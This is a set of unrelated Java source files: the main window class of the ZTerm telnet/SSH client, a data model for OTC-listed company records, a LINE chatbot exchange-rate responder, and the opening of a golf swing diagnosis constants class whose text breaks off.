SwingUtilities.updateComponentTreeUI( this );
} catch ( Exception e ) {
e.printStackTrace();
}
}
public void updateTab()
{
// 為了下面 invokeLater 的關係,這邊改成 final
final Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null )
{
// 修改視窗標題列
Site site = s.getSite();
StringBuffer title = new StringBuffer( "ZTerm - " + s.getWindowTitle() + " " );
title.append( "[" + site.protocol + "]" );
// 只有 telnet 使用 SOCKS,且全域及站台設定皆要開啟
if( site.protocol.equalsIgnoreCase( Protocol.TELNET ) && resource.getBooleanValue( Resource.USING_SOCKS ) && site.usesocks )
title.append( "[SOCKS]" );
setTitle( title.toString() );
// 修改位置列
siteText.setText( s.getURL() );
siteText.select( 0, 0 );
siteField.hidePopup();
// 切換到 alert 的 session 時設定狀態為 connected, 以取消 bell.
if( s.state == Session.STATE_ALERT ) {
s.setState( Session.STATE_CONNECTED );
}
// 因為全部的連線共用一張 BufferedImage, 切換分頁時需重繪內容。
s.updateScreen();
// 讓所選的 session 取得 focus
// XXX: PowerPC Linux + IBM JRE 要 invokeLater 才正常
SwingUtilities.invokeLater( new Runnable() {
public void run() {
s.requestFocusInWindow();
}
});
} else {
// FIXME: magic number
setTitle("ZTerm"); //$NON-NLS-1$
siteText.setText(""); //$NON-NLS-1$
}
}
public void updateTabState( int state, Session s )
{
int index;
ImageIcon ii;
switch( state ) {
case Session.STATE_TRYING:
ii = tryingIcon;
break;
case Session.STATE_CONNECTED:
ii = connectedIcon;
break;
case Session.STATE_CLOSED:
ii = closedIcon;
break;
case Session.STATE_ALERT:
ii = bellIcon;
break;
default:
ii = null;
}
index = tabbedPane.indexOfComponent( s );
if( index != -1 ) {
tabbedPane.setIconAt( index, ii );
}
}
public void updateTabTitle()
{
for( int i = 0; i < tabbedPane.getTabCount(); i++) {
tabbedPane.setTitleAt( i, (i + 1) + ". " + ((Session)sessions.elementAt(i)).getSite().name ); //$NON-NLS-1$
// FIXME: need revise
tabbedPane.setTitleAt( i,
( (resource.getBooleanValue (Resource.TAB_NUMBER) ) ? (i + 1) + ". " : "" ) //$NON-NLS-1$ //$NON-NLS-2$
+ ((Session)sessions.elementAt(i)).getSite().name );
}
}
public void updateCombo()
{
int dotPos = siteText.getCaretPosition();
String text = siteText.getText();
Iterator iter = getCandidateSites( text ).iterator();
siteModel.removeAllElements();
siteModel.addElement( text );
while( iter.hasNext() ) {
// TODO: 可以考慮一下顯示甚麼比較好,name or url
siteModel.addElement( ( (Site)iter.next() ).getURL() );
}
// 還原輸入游標的位置,否則每次輸入一個字就會跑到最後面
siteText.setCaretPosition( dotPos );
// FIXME: 增加 item 時重繪會有問題
// 超過一個選項時才顯示 popup
if( siteModel.getSize() > 1 ) {
siteField.showPopup();
} else {
siteField.hidePopup();
}
}
public void updateEncoding( String enc )
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null ) {
s.setEncoding( enc );
}
}
/**
* 預先讀取 font metrics 以加快未來開啟連線視窗的速度
*/
private void cacheFont()
{
String family = resource.getStringValue( Config.FONT_FAMILY );
Font font = new Font( family, Font.PLAIN, 0 );
// 這個動作很慢
getFontMetrics( font );
}
private Vector getCandidateSites( String term )
{
Vector candi = new Vector();
// 如果關鍵字是空字串,那就什麼都不要回
if (term.length() == 0)
return candi;
Iterator iter;
Site site;
// 加入站台列表中符合的
iter = resource.getFavorites().iterator();
while( iter.hasNext() ) {
site = (Site)iter.next();
if( site.name.indexOf( term ) != -1 || site.alias.indexOf( term ) != -1 || site.getURL().indexOf( term ) != -1 ) {
candi.addElement( site );
}
}
// 把結果排序後再輸出
Collections.sort( candi );
return candi;
}
public void changeSession( int index )
{
if( 0 <= index && index < tabbedPane.getTabCount() ) {
tabbedPane.setSelectedIndex( index );
// System.out.println("Change to session: " + index );
} else {
// System.out.println("Change to session: " + index + ", error range!");
}
}
public int showConfirm( String msg, String title, int option )
{
int result;
isShowingDialog = true;
result = JOptionPane.showConfirmDialog( null, msg, title, option );
isShowingDialog = false;
return result;
}
public void showMessage( String msg )
{
// 用了一個 lock 避免數個 thread 同時顯示 message dialog
synchronized( msglock )
{
isShowingDialog = true;
JOptionPane.showMessageDialog( null, msg );
isShowingDialog = false;
}
}
public void showPopup( int x, int y, String link )
{
Point p = getLocationOnScreen();
String selected = getSelectedText();
String clipText = clip.getContent();
boolean hoverLink = (link != null && link.length() > 0);
boolean hasSelectedText = (selected != null && selected.length() > 0);
boolean hasClipText = (clipText != null && clipText.length() > 0);
boolean hasColorText = (colorText != null && colorText.length() > 0);
// TODO: 用 tmpLink 的作法蠻笨的,但暫時想不到好作法
popupCopyLinkItem.setEnabled( hoverLink );
tmpLink = link;
popupCopyItem.setEnabled( hasSelectedText );
popupPasteItem.setEnabled( hasClipText );
popupColorCopyItem.setEnabled( hasSelectedText );
popupColorPasteItem.setEnabled( hasColorText );
googleSearchItem.setEnabled( hasSelectedText );
tinyurlItem.setEnabled( hasSelectedText );
orzItem.setEnabled( hasSelectedText );
badongoItem.setEnabled( hasSelectedText );
// 傳進來的是滑鼠相對於視窗左上角的座標,減去主視窗相對於螢幕左上角的座標,可得滑鼠相對於主視窗的座標。
popupMenu.show( this, x - p.x , y - p.y );
}
private void autoconnect()
{
Vector f = resource.getFavorites();
Iterator iter = f.iterator();
Site s;
while( iter.hasNext() ) {
s = (Site)iter.next();
if( s.autoconnect ) {
connect( s, -1 );
}
}
}
private void connect( String h )
{
Site si;
String host;
int port, pos;
String prot;
// 如果開新連線時按了取消則傳回值為 null
if( h == null || h.length() == 0 ) {
return;
}
do {
// 透過 name or alias 連線
si = resource.getFavorite( h );
if( si != null ) {
break;
}
pos = h.indexOf( "://" ); //$NON-NLS-1$
// Default 就是 telnet
prot = Protocol.TELNET;
if( pos != -1 ) {
if( h.substring( 0, pos).equalsIgnoreCase( Protocol.SSH ) ) {
prot = Protocol.SSH;
} else if( h.substring( 0, pos).equalsIgnoreCase( Protocol.TELNET ) ) {
prot = Protocol.TELNET;
} else {
showMessage(Messages.getString("ZTerm.Message_Wrong_Protocal")); //$NON-NLS-1$
return;
}
// 將 h 重設為 :// 後的東西
h = h.substring( pos + 3 );
}
// 取得 host:port, 或 host(:23)
pos = h.indexOf(':');
if( pos == -1 ) {
host = h;
if( prot.equalsIgnoreCase( Protocol.TELNET ) ) {
port = 23;
} else {
port = 22;
}
} else {
host = h.substring( 0, pos );
port = Integer.parseInt( h.substring( pos + 1) );
}
si = new Site( host, host, port, prot );
} while( false );
// host 長度為零則不做事
if( h.length() == 0 ) {
return;
}
connect( si, -1 );
}
private void connect( Site si, int index )
{
Session s;
s = new Session( si, resource, conv, bi, this );
// index 為連線後放在第幾個分頁,若為 -1 表開新分頁。
if( index == -1 ) {
sessions.add( s );
ImageIcon icon;
// 一開始預設 icon 是連線中斷
icon = closedIcon;
// chitsaou.070726: 分頁編號
if( resource.getBooleanValue( Resource.TAB_NUMBER )) {
// 分頁 title 會顯示分頁編號加站台名稱,tip 會顯示 hostname.
tabbedPane.addTab((tabbedPane.getTabCount() + 1) + ". " + si.name, icon, s, si.host ); //$NON-NLS-1$
} else {
// chitsaou:070726: 不要標號
tabbedPane.addTab(si.name, icon, s, si.host );
}
tabbedPane.setSelectedIndex( tabbedPane.getTabCount() - 1);
} else {
sessions.setElementAt( s, index );
tabbedPane.setComponentAt( index, s);
}
// 每個 session 都是一個 thread, 解決主程式被 block 住的問題。
new Thread( s ).start();
}
public void openExternalBrowser( String url )
{
int pos;
String cmd = resource.getStringValue( Resource.EXTERNAL_BROWSER );
if( cmd == null ) {
showMessage( Messages.getString("ZTerm.Message_Wrong_Explorer_Command") ); //$NON-NLS-1$
return;
}
// 把 %u 置換成給定的 url
pos = cmd.indexOf( "%u" );
if( pos == -1 ) {
showMessage( Messages.getString("ZTerm.Message_Wrong_Explorer_Command") ); //$NON-NLS-1$
return;
}
cmd = cmd.substring( 0, pos ) + url + cmd.substring( pos + 2 );
// System.out.println( "browser command: " + cmd );
runExternal( cmd );
}
public void runExternal( String cmd )
{
try {
Runtime.getRuntime().exec( cmd );
} catch (IOException e) {
e.printStackTrace();
}
}
public void bell( Session s )
{
if( resource.getBooleanValue( Resource.USE_CUSTOM_BELL) ) {
try {
java.applet.Applet.newAudioClip( new File( resource.getStringValue( Resource.CUSTOM_BELL_PATH ) ).toURI().toURL() ).play();
} catch (MalformedURLException e) {
e.printStackTrace();
}
} else {
java.awt.Toolkit.getDefaultToolkit().beep();
}
if( !isTabForeground(s) ) {
s.setState( Session.STATE_ALERT );
}
}
public void open()
{
String host = JOptionPane.showInputDialog( this, Messages.getString("ZTerm.Message_Input_Site")); //$NON-NLS-1$
connect(host);
}
public void quit()
{
for( int i = 0; i < sessions.size(); i++) {
if( !((Session)sessions.elementAt(i)).isClosed() ) {
if( showConfirm( Messages.getString("ZTerm.Message_Confirm_Exit"), Messages.getString("ZTerm.Title_Confirm_Exit"), JOptionPane.YES_NO_OPTION ) != JOptionPane.YES_OPTION ) { //$NON-NLS-1$ //$NON-NLS-2$
return;
} else {
break;
}
}
}
for( int i = 0; i < sessions.size(); i++) {
((Session)sessions.elementAt(i)).close( false );
}
sessions.removeAllElements();
// 紀錄結束時的視窗大小
Rectangle r = getBounds();
resource.setValue( Resource.GEOMETRY_X, r.x );
resource.setValue( Resource.GEOMETRY_Y, r.y );
resource.setValue( Resource.GEOMETRY_WIDTH, r.width );
resource.setValue( Resource.GEOMETRY_HEIGHT, r.height );
// 程式結束,把目前設定值寫回設定檔。
resource.writeFile();
System.exit( 0 );
}
public void copy()
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null ) {
String str = s.getSelectedText();
if( str.length() != 0 ) {
clip.setContent( str );
}
if( resource.getBooleanValue( Resource.CLEAR_AFTER_COPY) ) {
s.resetSelected();
s.repaint();
}
}
}
public void colorCopy()
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null ) {
String str = s.getSelectedColorText();
if( str.length() != 0 ) {
colorText = str;
}
if( resource.getBooleanValue( Resource.CLEAR_AFTER_COPY) ) {
s.resetSelected();
s.repaint();
}
}
}
public void copyLink()
{
if( tmpLink != null ) {
clip.setContent( tmpLink );
}
}
public void paste()
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null ) {
s.pasteText( clip.getContent() );
}
}
public void colorPaste()
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null && colorText != null ) {
s.pasteColorText( colorText );
}
}
public String getSelectedText()
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null ) {
return s.getSelectedText();
}
return null;
}
public void resetSelected()
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null ) {
s.resetSelected();
s.repaint();
}
}
public boolean isTabForeground( Session s )
{
return (tabbedPane.indexOfComponent(s) == tabbedPane.getSelectedIndex());
}
public void openNewTab()
{
String host = siteText.getText();
siteModel.removeAllElements();
connect( host );
}
public void closeCurrentTab()
{
Session s = (Session)tabbedPane.getSelectedComponent();
if( s != null ) {
// 連線中則詢問是否要斷線
if( !s.isClosed() ) {
if( showConfirm( Messages.getString("ZTerm.Message_Confirm_Close"), Messages.getString("ZTerm.Title_Confirm_Close"), JOptionPane.YES_NO_OPTION ) != JOptionPane.YES_OPTION ) { //$NON-NLS-1$ //$NON-NLS-2$
return;
}
// 通知 session 要中斷連線了
s.close( false );
if( !resource.getBooleanValue( Resource.REMOVE_MANUAL_DISCONNECT ) ) {
return;
}
}
// 通知 session 要被移除了
s.remove();
tabbedPane.remove( s );
sessions.remove( s );
// 刪除分頁會影響分頁編號
updateTabTitle();
// 讓現在被選取的分頁取得 focus.
updateTab();
} else {
// 沒有分頁了,關閉程式
quit();
}
}
public void reopenSession( Session s )
{
if( s != null ) {
// 若連線中則開新分頁,已斷線則重連。
if( s.isClosed() ) {
connect( s.getSite(), tabbedPane.indexOfComponent(s) );
} else {
connect( s.getSite(), -1 );
}
}
}
private void showPreference()
{
isShowingDialog = true;
new Preference( resource, this );
isShowingDialog = false;
}
private void showSiteManager()
{
isShowingDialog = true;
new SiteManager( resource, this );
isShowingDialog = false;
}
private void showUsage()
{
new HtmlDialog( this, Messages.getString("ZTerm.Title_Manual"), ZTerm.class.getResource( "docs/usage.html" ) ); //$NON-NLS-1$
}
private void showFAQ()
{
new HtmlDialog( this, Messages.getString("ZTerm.Title_FAQ"), ZTerm.class.getResource( "docs/faq.html" ) ); //$NON-NLS-1$
}
private void showAbout()
{
// FIXME: magic number
showMessage( Messages.getString("ZTerm.Message_About") ); //$NON-NLS-1$
}
public void actionPerformed( ActionEvent ae )
{
Object source = ae.getSource();
if( source == openItem ) {
open();
} else if( source == openButton ) {
openNewTab();
} else if( source == closeItem || source == closeButton ) {
closeCurrentTab();
} else if( source == reopenItem || source == reopenButton ) {
reopenSession( (Session)tabbedPane.getSelectedComponent() );
} else if( source == quitItem ) {
quit();
} else if( source == copyItem || source == copyButton || source == popupCopyItem ) {
copy();
} else if( source == colorCopyItem || source == colorCopyButton || source == popupColorCopyItem ) {
colorCopy();
} else if( source == pasteItem || source == pasteButton || source == popupPasteItem ) {
paste();
} else if( source == colorPasteItem || source == colorPasteButton || source == popupColorPasteItem ) {
colorPaste();
} else if( source == popupCopyLinkItem ) {
copyLink();
} else if( source == googleSearchItem ) {
String str = getSelectedText();
resetSelected();
openExternalBrowser("http://www.google.com.tw/search?q=" + str);
} else if( source == tinyurlItem ) {
String str = getSelectedText();
resetSelected();
openExternalBrowser("http://tinyurl.com/" + str);
} else if( source == orzItem ) {
String str = getSelectedText();
resetSelected();
openExternalBrowser("http://0rz.tw/" + str);
} else if( source == badongoItem ) {
String str = getSelectedText();
resetSelected();
openExternalBrowser("http://www.badongo.com/file/" + str);
} else if( source == telnetButton ) {
siteText.setText( "telnet://" );
siteField.requestFocusInWindow();
} else if( source == sshButton ) {
siteText.setText( "ssh://" );
siteField.requestFocusInWindow();
} else if( source == preferenceItem ) {
showPreference();
} else if( source == siteManagerItem ) {
showSiteManager();
} else if( source == showToolbarItem ) {
showToolbar = !showToolbar;
resource.setValue( Resource.SHOW_TOOLBAR, showToolbar);
updateToolbar();
updateSize();
} else if( source == usageItem ) {
showUsage();
} else if( source == faqItem ) {
showFAQ();
} else if( source == aboutItem ) {
showAbout();
} else if( source == big5Item ) {
updateEncoding( "Big5" );
} else if( source == utf8Item ) {
updateEncoding( "UTF-8" );
}
// 我的最愛列表
for( int i = 0; i < favoriteItems.length; i++ ) {
if( source == favoriteItems[i] ) {
Site f = resource.getFavorite(favoriteItems[i].getText());
connect( f, -1 );
break;
}
}
}
public void stateChanged(ChangeEvent e)
{
// 切換分頁,更新視窗標題、畫面
if( e.getSource() == tabbedPane ) {
updateTab();
}
}
public boolean dispatchKeyEvent( KeyEvent ke )
{
// 只處理按下的狀況
if( ke.getID() != KeyEvent.KEY_PRESSED ) {
return false;
}
// 如果正在顯示 dialog 則不要處理
// 原本是期望 modal dialog 會 block 住 keyboard event 的,不過看來還是得自己判斷
if( isShowingDialog ) {
return false;
}
if( ke.isAltDown() || ke.isMetaDown() ) {
if( ke.getKeyCode() == KeyEvent.VK_C ) {
copy();
} else if( ke.getKeyCode() == KeyEvent.VK_D ) {
siteText.selectAll();
siteField.requestFocusInWindow();
} else if( ke.getKeyCode() == KeyEvent.VK_Q ) {
open();
} else if( ke.getKeyCode() == KeyEvent.VK_R ) {
reopenSession( (Session)tabbedPane.getSelectedComponent() );
} else if( ke.getKeyCode() == KeyEvent.VK_S ) {
siteText.setText( "ssh://" );
siteField.requestFocusInWindow();
} else if( ke.getKeyCode() == KeyEvent.VK_T ) {
siteText.setText("telnet://");
siteField.requestFocusInWindow();
} else if( ke.getKeyCode() == KeyEvent.VK_V ) {
paste();
} else if( ke.getKeyCode() == KeyEvent.VK_W ) {
closeCurrentTab();
} else if( KeyEvent.VK_0 <= ke.getKeyCode() && ke.getKeyCode() <= KeyEvent.VK_9 ) {
// 切換 tab 快速建
// 可用 alt-N 或是 cmd-N 切換
// XXX: 其實可以考慮 alt-0 不是快速建,不然多一個判斷很不舒服。
if( KeyEvent.VK_0 == ke.getKeyCode() ) {
changeSession( 9 );
} else {
changeSession( ke.getKeyCode() - KeyEvent.VK_1 );
}
} else if(
ke.getKeyCode() == KeyEvent.VK_LEFT ||
ke.getKeyCode() == KeyEvent.VK_UP ||
ke.getKeyCode() == KeyEvent.VK_Z ) {
// meta-left,up,z 切到上一個連線視窗
// index 是否合法在 changeSession 內會判斷
changeSession( tabbedPane.getSelectedIndex() - 1 );
} else if(
ke.getKeyCode() == KeyEvent.VK_RIGHT ||
ke.getKeyCode() == KeyEvent.VK_DOWN ||
ke.getKeyCode() == KeyEvent.VK_X ) {
// meta-right,up,x 切到下一個連線視窗
// index 是否合法在 changeSession 內會判斷
changeSession( tabbedPane.getSelectedIndex() + 1 );
} else if( ke.getKeyCode() == KeyEvent.VK_HOME ) {
changeSession( 0 );
} else if( ke.getKeyCode() == KeyEvent.VK_END ) {
changeSession( tabbedPane.getTabCount() - 1 );
} else if( ke.getKeyCode() == KeyEvent.VK_COMMA ) {
// alt-, 開啟偏好設定
showPreference();
} else if( ke.getKeyCode() == KeyEvent.VK_PERIOD ) {
// alt-. 開啟站台管理
showSiteManager();
} else {
// 雖然按了 alt 或 meta, 但不認識,
// 繼續往下送。
return false;
}
// 功能鍵不再往下送
return true;
}
if( ke.isShiftDown() ) {
if( ke.getKeyCode() == KeyEvent.VK_INSERT ) {
paste();
return true;
}
}
if( ke.isControlDown() ) {
if( ke.getKeyCode() == KeyEvent.VK_INSERT ) {
copy();
return true;
}
}
// 一般鍵,繼續往下送。
return false;
}
public void keyPressed(KeyEvent e)
{
// XXX: Mac 下 keyTyped 收不到 ESCAPE 一定要在這裡處理
if( e.getSource() == siteText ) {
if( e.getKeyCode() == KeyEvent.VK_ESCAPE ) {
updateTab();
}
}
}
public void keyReleased(KeyEvent e) {}
public void keyTyped(KeyEvent e)
{
if( e.getSource() == siteText ) {
// 不對快速鍵起反應
if( e.isMetaDown() || e.isAltDown() ) {
return;
}
if( e.getKeyChar() == KeyEvent.VK_ENTER ) {
openNewTab();
} else if( e.getKeyChar() == KeyEvent.VK_ESCAPE ) {
// ignore escape
} else {
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
updateCombo();
}
});
}
}
}
public void componentResized(ComponentEvent ce)
{
validate();
updateSize();
}
public void componentMoved(ComponentEvent ce) {}
public void componentShown(ComponentEvent ce) {}
public void componentHidden(ComponentEvent ce) {}
public ZTerm()
{
// FIXME: magic number
super("ZTerm"); //$NON-NLS-1$
// 初始化 lock object
msglock = new Object();
menulock = new Object();
// 各個連線
sessions = new Vector();
// 各種設定
resource = new Resource();
// 轉碼用
conv = new Convertor();
// 與系統剪貼簿溝通的橋樑
clip = new Clip();
// 設定 Look and Feel
updateLookAndFeel();
// 初始化各種 icon
tryingIcon = new ImageIcon( ZTerm.class.getResource( "icon/trying.png" ) );
connectedIcon = new ImageIcon( ZTerm.class.getResource( "icon/connected.png" ) );
closedIcon = new ImageIcon( ZTerm.class.getResource( "icon/closed.png" ) );
bellIcon = new ImageIcon( ZTerm.class.getResource( "icon/bell.png" ) );
// 是否要顯示工具列
showToolbar = resource.getBooleanValue( Resource.SHOW_TOOLBAR );
// 設定主畫面 Layout
getContentPane().setLayout( new BorderLayout() );
makeMenu();
makeTabbedPane();
makeToolbar();
// 設定視窗位置、大小
updateBounds();
// 設定好視窗大小後才知道 image 大小
bi = new BufferedImage( getWidth(), getHeight(), BufferedImage.TYPE_INT_RGB );
setVisible( true );
setResizable( true );
// 一開始沒有任何 dialog
isShowingDialog = false;
// 按下關閉視窗按鈕時只執行 quit()
setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);
addWindowListener( new WindowAdapter() {
public void windowClosing(WindowEvent e) {
quit();
}
});
// 接收視窗大小改變的事件
addComponentListener( this );
// 攔截鍵盤 event 以處理快速鍵
DefaultKeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this);
// 在程式啟動時就先讀一次字型,讓使用者開第一個連線視窗時不會感覺太慢。
cacheFont();
// 自動連線
autoconnect();
}
public static void main( String args[] ) {
new ZTerm();
}
}
| zhouer/ZTerm | org/zhouer/zterm/ZTerm.java |
65,443 | package tw.org.sevenflanks.sa.stock.model;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
/**
* 上櫃公司
* ps. 有些欄位感覺用不到而且感覺很難命名,先用other代替
*/
@Getter
@Setter
@NoArgsConstructor
public class OtcCompanyModel {
/** 出表日期 */
private String dataDate;
/** 公司代號 */
private String uid;
/** 公司名稱 */
private String fullName;
/** 公司簡稱 */
private String shortName;
/** 外國企業註冊地國 */
private String country;
/** 產業別 */
private String industry;
/** 住址 */
private String address;
/** 營利事業統一編號 */
private String taxId;
/** 董事長 */
private String chairman;
/** 總經理 */
private String gm;
/** 發言人 */
private String spokesman;
/** 發言人職稱 */
private String spokesmanTitie;
/** 代理發言人 */
private String spokesmanAssist;
/** 總機電話 */
private String phone;
/** 成立日期 */
private String establishDate;
/** 上市日期 */
private String listedDate;
/** 普通股每股面額 */
private String ordinaryValue;
/** 實收資本額 */
private String contributedCapital;
/** 私募股數 */
private String other1;
/** 特別股 */
private String other2;
/** 編制財務報表類型 */
private String other3;
/** 股票過戶機構 */
private String other4;
/** 過戶電話 */
private String other5;
/** 過戶地址 */
private String Other6;
/** 簽證會計師事務所 */
private String other7;
/** 簽證會計師1 */
private String other8;
/** 簽證會計師2 */
private String other9;
/** 英文簡稱 */
private String shortEngName;
/** 英文通訊地址 */
private String engAddress;
/** 傳真機號碼 */
private String fax;
/** 電子郵件信箱 */
private String email;
/** 網址 */
private String homepage;
@Override
public String toString() {
return "TwseCompanyModel{" +
"dataDate='" + dataDate + '\'' +
", uid='" + uid + '\'' +
", fullName='" + fullName + '\'' +
", shortName='" + shortName + '\'' +
", country='" + country + '\'' +
", industry='" + industry + '\'' +
", address='" + address + '\'' +
", taxId='" + taxId + '\'' +
", chairman='" + chairman + '\'' +
", gm='" + gm + '\'' +
", spokesman='" + spokesman + '\'' +
", spokesmanTitie='" + spokesmanTitie + '\'' +
", spokesmanAssist='" + spokesmanAssist + '\'' +
", phone='" + phone + '\'' +
", establishDate='" + establishDate + '\'' +
", listedDate='" + listedDate + '\'' +
", ordinaryValue='" + ordinaryValue + '\'' +
", contributedCapital='" + contributedCapital + '\'' +
", shortEngName='" + shortEngName + '\'' +
", engAddress='" + engAddress + '\'' +
", fax='" + fax + '\'' +
", email='" + email + '\'' +
", homepage='" + homepage + '\'' +
'}';
}
}
| Sevenflanks/stock-assistor | src/main/java/tw/org/sevenflanks/sa/stock/model/OtcCompanyModel.java |
65,444 | package next.operator.linebot.talker;
import com.linecorp.bot.client.LineMessagingClient;
import com.linecorp.bot.model.event.MessageEvent;
import com.linecorp.bot.model.event.message.TextMessageContent;
import next.operator.currency.enums.CurrencyType;
import next.operator.currency.model.CurrencyExrateModel;
import next.operator.currency.service.CurrencyService;
import next.operator.linebot.executor.impl.ExrateExecutor;
import next.operator.linebot.service.RespondentService;
import next.operator.linebot.service.RespondentTalkable;
import next.operator.utils.NumberUtils;
import org.ansj.domain.Term;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.math.BigDecimal;
import java.util.List;
import java.util.Optional;
import java.util.function.Consumer;
/**
* 當對話中出現錢幣關鍵字時提供匯率資料
*/
@Service
public class ExrateTalker implements RespondentTalkable {
@Autowired
private ExrateExecutor exrateExecutor;
@Autowired
private CurrencyService currencyService;
private ThreadLocal<Term> matched = new ThreadLocal<>();
private ThreadLocal<Double> amount = new ThreadLocal<>();
@Override
public boolean isReadable(String message) {
// 檢查是否有存在符合幣別的單字
final List<Term> terms = RespondentService.currentTern.get();
final Optional<Term> matchedTerm = terms.stream()
.filter(t -> {
final Optional<CurrencyType> currencyType = CurrencyType.tryParseByName(t.getName());
return currencyType.filter(type -> CurrencyType.TWD != type).isPresent();
})
.findFirst();
final boolean isMatch = matchedTerm.isPresent();
if (isMatch) {
// 檢查是否存在數字
final double sum = terms.stream()
.filter(t -> "m".equals(t.getNatureStr()) || "nw".equals(t.getNatureStr()))
.mapToDouble(t -> Optional.ofNullable(NumberUtils.tryDouble(t.getName())).orElseGet(() -> Optional.ofNullable(NumberUtils.zhNumConvertToInt(t.getName())).orElse(1D)))
.sum();
amount.set(sum);
matched.set(matchedTerm.get());
} else {
matched.remove();
amount.remove();
}
return isMatch;
}
@Override
public Consumer<MessageEvent<TextMessageContent>> doFirst(LineMessagingClient client) {
return null;
}
@Override
public String talk(String message) {
final Term term = matched.get();
final Double amount = Optional.ofNullable(this.amount.get()).filter(n -> n != 0).orElse(1D);
matched.remove();
this.amount.remove();
final CurrencyType matchedCurrenctType = CurrencyType.tryParseByName(term.getName()).get(); // isReadable已經檢查過,必定有值
final CurrencyExrateModel exrate = currencyService.getExrate(matchedCurrenctType.name(), CurrencyType.TWD.name());
return "我感覺到了你想知道" + matchedCurrenctType.getFirstLocalName() + "的匯率!\n" +
exrateExecutor.decimalFormat.format(BigDecimal.valueOf(amount)) + " " + exrate.getExFrom() + " = " + exrateExecutor.decimalFormat.format(exrate.getExrate().multiply(BigDecimal.valueOf(amount))) + " " + exrate.getExTo() +
", 資料時間:" + exrateExecutor.dateTimeFormatter.format(exrate.getTime());
}
}
| Sevenflanks/linebot-operator-next | src/main/java/next/operator/linebot/talker/ExrateTalker.java |
65,445 | package com.golfmaster.moduel;
import java.util.HashMap;
import java.util.Map;
public abstract class DeviceData {
public static final String SHOT_FAIL = "擊球失敗,無法判定";
public static final String SHOT_FAIL_BODY = "擊球姿勢嚴重錯誤";
// P-System
public static final String p2_9 = "P2~3 上桿 , P5~6 下桿 , P7 Impact 擊球";
public static final String P2_3 = "P2~3 上桿";
public static final String P4 = "P4 頂點/轉換";
public static final String P5_6 = "P5~6 下桿";
public static final String P1 = "P1 Address 擊球準備";
public static final String P2 = "P2 Takeaway 起桿";
public static final String P3 = "P3 Backswing 上桿";
// public static final String P4 = "P4 Top of Swing 上桿頂點";
public static final String P5 = "P5 Downswing 下桿";
public static final String P6 = "P6 Downswing 下桿";
public static final String P7 = "P7 Impact 擊球";
public static final String P8 = "P8 Release 送桿";
public static final String P9 = "P9 Release 送桿";
public static final String P10 = "P10 Finish 收桿";
public static final float FACE_SQUARE_MIN = -3;
public static final float FACE_SQUARE_MAX = 3;
public static final float CARRY_DIST_FT_MIN = 40 * 3; // 40碼(yd)
// public static final float CARRY_DIST_FT_MIN = 0; // 李老師建議先改成0
public static final float LAUNCH_ANGLE_MIN = 6;
// 球桿種類
public static final String Wood1 = "1Wood";
public static final String Wood2 = "2Wood";
public static final String Wood3 = "3Wood";
public static final String Wood4 = "4Wood";
public static final String Wood5 = "5Wood";
public static final String Iron1 = "1Iron";
public static final String Iron2 = "2Iron";
public static final String Iron3 = "3Iron";
public static final String Iron4 = "4Iron";
public static final String Iron5 = "5Iron";
public static final String Iron6 = "6Iron";
public static final String Iron7 = "7Iron";
public static final String Iron8 = "8Iron";
public static final String Iron9 = "9Iron";
public static final String Hybrid4 = "4Hybrid";
public static final String SandWedge = "SandWedge";
public static final String GapWedge = "GapWedge";
public static final String PitchingWedge = "PitchingWedge";
public static final String Putter = "Putter";
// slice(外彎)與hook(內彎)
// 1.Pull Hook, 2.Pull, 3.Pull Slice
public static final String PULL = "Pull 左飛球"; // 5.Pull(左飛球)
public static final String PULL_TRAJECTORY = "出球方向直直往左之左拉球(P7觸球時桿面角度和軌跡都往左而且垂直,所以出球路徑筆直往左)";
public static final String PULL_CAUSE_P2_3 = "上桿(P2~3)時,角度過於陡峭";
public static final String PULL_SUGGEST_P2_3 = "上桿(P2~3)時,肩膀往右轉動";
public static final String PULL_CAUSE_P4 = "桿頭頂點過高";
public static final String PULL_SUGGEST_P4 = "肩膀往右轉動";
public static final String PULL_CAUSE_P5_6 = "下桿角度過於陡峭,左手腕過度外展,肩關節伸展抬起";
public static final String PULL_SUGGEST_P5_6 = "下桿時,左手臂打直、左手腕維持固定、肩膀自然旋轉";
public static final String PULL_CAUSE_P7 = "桿面關閉,擊球點位於球的外側";
public static final String PULL_SUGGEST_P7 = "擊球時,左手腕維持固定,注意擊球點位置";
public static final String PULL_HOOK = "Pull Hook 左拉左曲球"; // 左曲球
public static final String PULL_HOOK_TRAJECTORY = "出球方向往目標左側之後再更向左曲之左拉曲球或稱為大左曲球(P7觸球時桿面角度和軌跡都朝左,且桿面角度大於揮桿軌跡,所以出球路徑往左飛後再更左曲)";
public static final String PULL_HOOK_CAUSE_P2_3 = "上桿(P2~3)時,角度過於陡峭";
public static final String PULL_HOOK_SUGGEST_P2_3 = "上桿(P2~3)時,肩膀往右轉動";
public static final String PULL_HOOK_CAUSE_P4 = "桿頭頂點過高";
public static final String PULL_HOOK_SUGGEST_P4 = "肩膀往右轉動";
public static final String PULL_HOOK_CAUSE_P5_6 = "下桿角度過於陡峭,手腕過度彎曲,過度由內而外的路徑";
public static final String PULL_HOOK_SUGGEST_P5_6 = "下桿時,左手臂打直、左手腕維持固定";
public static final String PULL_HOOK_CAUSE_P7 = "桿面關閉,擊球點位於球的外側,手腕繼續彎曲未保持向前";
public static final String PULL_HOOK_SUGGEST_P7 = "擊球時,左手腕應恢復成未彎曲的狀態,及注意擊球點位置";
public static final String PULL_SLICE = "Pull Slice 左拉右曲球";
public static final String PULL_SLICE_TRAJECTORY = "出球方向往目標左側之後再向右曲之右曲球(P7觸球時桿面角度關閉,但桿面角度小於揮桿軌跡)";
